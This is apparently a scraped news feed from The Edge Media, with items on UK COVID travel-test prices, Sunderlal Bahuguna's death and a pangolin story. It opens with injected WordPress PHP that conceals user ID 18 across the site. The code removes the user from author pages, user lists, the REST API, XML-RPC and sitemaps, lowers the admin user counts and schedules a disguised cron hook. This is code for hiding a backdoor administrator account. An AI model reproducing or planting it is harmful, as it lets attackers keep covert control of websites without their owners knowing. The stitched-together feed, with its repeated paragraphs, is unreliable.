add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post UK reduces cost of COVID-19 tests for international travellers appeared first on The Edge Media.
]]>Passengers returning from Green list countries or Amber list destinations like India, if they are fully vaccinated, will now pay 20 pounds less per Polymerase Chain Reaction (PCR) test.
The test must be taken on or before day two after the traveller arrives in England.
People who have not had both doses of the coronavirus vaccine and are returning from Amber list countries like India will also see the price of the two tests they need fall from 170 pounds to 136 pounds. The tests must be taken on days two and eight of their arrival from abroad.
The price reduction does not affect arrivals from Red list countries, or if they purchase a test from a private provider, the Department of Health and Social Care (DHSC) said.
The National Health Service (NHS) Test and Trace provide COVID-19 tests for international travel, but unlike normal lateral flow tests or PCR ones for people with symptoms, they are paid for.
UK Health Secretary Sajid Javid has announced a “rapid internal review” of prices charged by government-approved companies after claims that holidaymakers are being exploited over private testing.
“I have ordered my department to urgently review the list of private providers on gov.uk to ensure pricing is clearer and transparent,” the minister said today.
“Any provider found to be misleading the public will be kicked off. Too many providers are acting like cowboys and that needs to stop. The public should be allowed to enjoy their summer holidays without having to face excessive costs or anxiety,” he said.
Mr Javid has also commissioned a wider review by the UK Competition and Markets Authority (CMA) to address discrepancies in testing prices.
Since last weekend, India was moved from the Red List travel ban to Amber – which means travellers coming into the UK can self-isolate at their designated address on a compulsory passenger locator form instead of only at a government-mandated hotel at extra costs.
Mr Javid has also commissioned a wider review by the UK Competition and Markets Authority (CMA) to address discrepancies in testing prices.
Since last weekend, India was moved from the Red List travel ban to Amber – which means travellers coming into the UK can self-isolate at their designated address on a compulsory passenger locator form instead of only at a government-mandated hotel at extra costs.
The post UK reduces cost of COVID-19 tests for international travellers appeared first on The Edge Media.
]]>The post Chipko Movement leader, Sunderlal Bahuguna lost to covid at 94 appeared first on The Edge Media.
]]>Many national leaders and politicians tweeted about him and expressed their condolences. The leaders include President Ramnath Kovind, Prime Minister Narendra Modi, Uttrakhand Chief Minister Tirath Singh Rawat, Congress leader Jairam Ramesh among others. “The void created by his passing away in the field of Environment conservation can never be filled”, Chief Minister Rawat said.
Sunderlal Bahuguna’s contributions in the field of environment conservation are innuemrable. He had observed various fasts and padyatras in order to fulfil his demands in the benefit of the environment. He was conferred with various awards including Padma Vibhushan which is the second highest civilian award in India.
पहाड़ों में जल, जंगल और जमीन के मसलों को अपनी प्राथमिकता में रखने वाले और रियासतों में जनता को उनका हक दिलाने वाले श्री बहुगुणा जी के प्रयास सदैव याद रखे जाएंगे।
— Tirath Singh Rawat (मोदी का परिवार) (@TIRATHSRAWAT) May 21, 2021
Passing away of Shri Sunderlal Bahuguna Ji is a monumental loss for our nation. He manifested our centuries old ethos of living in harmony with nature. His simplicity and spirit of compassion will never be forgotten. My thoughts are with his family and many admirers. Om Shanti.
— Narendra Modi (@narendramodi) May 21, 2021
The post Chipko Movement leader, Sunderlal Bahuguna lost to covid at 94 appeared first on The Edge Media.
]]>The post Pangolin forced to take COVID test after it was recovered from smuggler’s house appeared first on The Edge Media.
]]>
The post Pangolin forced to take COVID test after it was recovered from smuggler’s house appeared first on The Edge Media.
]]>